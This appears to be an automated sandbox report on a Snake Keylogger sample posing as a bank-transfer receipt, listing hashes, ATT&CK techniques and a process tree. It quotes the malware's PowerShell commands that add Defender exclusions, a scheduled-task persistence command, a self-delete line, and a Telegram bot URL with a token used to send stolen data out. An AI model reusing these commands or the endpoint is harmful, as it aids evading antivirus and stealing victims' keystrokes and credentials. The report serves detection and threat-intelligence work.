snakekeylogger | 1546c45496290063818a4e24b240aa8cd88c8023dccb2876706a569a0359be9e

Analysis

max time kernel
27s
max time network
29s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
25-10-2024 14:43

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General

Target

Banktransferreceipt241015.exe
Size

499KB
MD5

a56e9ac0bdfb2994a47cff685f5082a8
SHA1

855fef6a65caf563685f757a11b653a43472e4be
SHA256

1546c45496290063818a4e24b240aa8cd88c8023dccb2876706a569a0359be9e
SHA512

97bb5879e5a1be00eb980a5e51a6caa69fa4e5731e377236c4abf3b9cdaa7a5ef0b3040feb468c219e80ad42b49049f0fb74d3843bf896a4d23a947804a73342
SSDEEP

12288:62UScVclz+IuSqKixs7p2JYQE3Pu98rxG6ortJ6zdhp:6UcVuSpW/3RN

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7952998151:AAFh98iY7kaOlHAR0qftD3ZcqGbQm0TXbBY/sendMessage?chat_id=5692813672

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/2892-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2892-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2892-28-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2892-25-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2892-23-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3000	powershell.exe
3004	powershell.exe

Deletes itself 1 IoCs

pid	Process
2968	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2408 set thread context of 2892	2408	Banktransferreceipt241015.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Banktransferreceipt241015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Banktransferreceipt241015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2408	Banktransferreceipt241015.exe
2408	Banktransferreceipt241015.exe
2892	Banktransferreceipt241015.exe
3000	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	Banktransferreceipt241015.exe
Token: SeDebugPrivilege	2892	Banktransferreceipt241015.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 3000	2408	Banktransferreceipt241015.exe	30
PID 2408 wrote to memory of 3000	2408	Banktransferreceipt241015.exe	30
PID 2408 wrote to memory of 3000	2408	Banktransferreceipt241015.exe	30
PID 2408 wrote to memory of 3000	2408	Banktransferreceipt241015.exe	30
PID 2408 wrote to memory of 3004	2408	Banktransferreceipt241015.exe	32
PID 2408 wrote to memory of 3004	2408	Banktransferreceipt241015.exe	32
PID 2408 wrote to memory of 3004	2408	Banktransferreceipt241015.exe	32
PID 2408 wrote to memory of 3004	2408	Banktransferreceipt241015.exe	32
PID 2408 wrote to memory of 2920	2408	Banktransferreceipt241015.exe	34
PID 2408 wrote to memory of 2920	2408	Banktransferreceipt241015.exe	34
PID 2408 wrote to memory of 2920	2408	Banktransferreceipt241015.exe	34
PID 2408 wrote to memory of 2920	2408	Banktransferreceipt241015.exe	34
PID 2408 wrote to memory of 1448	2408	Banktransferreceipt241015.exe	36
PID 2408 wrote to memory of 1448	2408	Banktransferreceipt241015.exe	36
PID 2408 wrote to memory of 1448	2408	Banktransferreceipt241015.exe	36
PID 2408 wrote to memory of 1448	2408	Banktransferreceipt241015.exe	36
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2408 wrote to memory of 2892	2408	Banktransferreceipt241015.exe	37
PID 2892 wrote to memory of 2968	2892	Banktransferreceipt241015.exe	38
PID 2892 wrote to memory of 2968	2892	Banktransferreceipt241015.exe	38
PID 2892 wrote to memory of 2968	2892	Banktransferreceipt241015.exe	38
PID 2892 wrote to memory of 2968	2892	Banktransferreceipt241015.exe	38
PID 2968 wrote to memory of 1260	2968	cmd.exe	40
PID 2968 wrote to memory of 1260	2968	cmd.exe	40
PID 2968 wrote to memory of 1260	2968	cmd.exe	40
PID 2968 wrote to memory of 1260	2968	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe
"C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\vYxHVdr.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vYxHVdr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2CE.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2920
- C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe
  "C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe"
  2⤵
  PID:1448
- C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe
  "C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Banktransferreceipt241015.exe"
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp2CE.tmp

Filesize
1KB

MD5
accf1009feb4f5faf3ba41a350020a01

SHA1
b806554c901923c3f09488a42e2f9c3695437bf5

SHA256
3ecf971dbe532167e0543eef692dccb1f0a2f70d2caa908009a6f21375bc0729

SHA512
24453e65b3ff8325524e5e4d4e36055e0ba385f3cca060106ba13761a98e499038069e77a6c5188c1b41004b1feb492992572cef611229f337be9e93dec13f35

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E3K33L1MH8SRXQTUA7JX.temp

Filesize
7KB

MD5
e071cba2dee7db13b88c3c22cc28ae0c

SHA1
e513f54d3cfb9c72ad81677486918d3331b7fb26

SHA256
6ca3aeae39ccbabe60026ca7a33b040f05a7db80e008eec203f9053ff960f590

SHA512
55b526650f61a82df325e5e03c48ccca1741b11300acf0b65650e7230376cef7f5c05cdeb508f6e8934d1dfe0be07876367a8d49c791c7c2ea7cfb6fcc587170

Download Submit
memory/2408-4-0x00000000744EE000-0x00000000744EF000-memory.dmp

Filesize
4KB

Download
memory/2408-31-0x00000000744E0000-0x0000000074BCE000-memory.dmp

Filesize
6.9MB

Download
memory/2408-0-0x00000000744EE000-0x00000000744EF000-memory.dmp

Filesize
4KB

Download
memory/2408-5-0x00000000744E0000-0x0000000074BCE000-memory.dmp

Filesize
6.9MB

Download
memory/2408-6-0x0000000002190000-0x00000000021F8000-memory.dmp

Filesize
416KB

Download
memory/2408-2-0x00000000744E0000-0x0000000074BCE000-memory.dmp

Filesize
6.9MB

Download
memory/2408-1-0x0000000000360000-0x00000000003E4000-memory.dmp

Filesize
528KB

Download
memory/2408-3-0x00000000002F0000-0x0000000000302000-memory.dmp

Filesize
72KB

Download
memory/2892-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2892-28-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2892-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2892-25-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2892-23-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2892-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2892-19-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2892-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download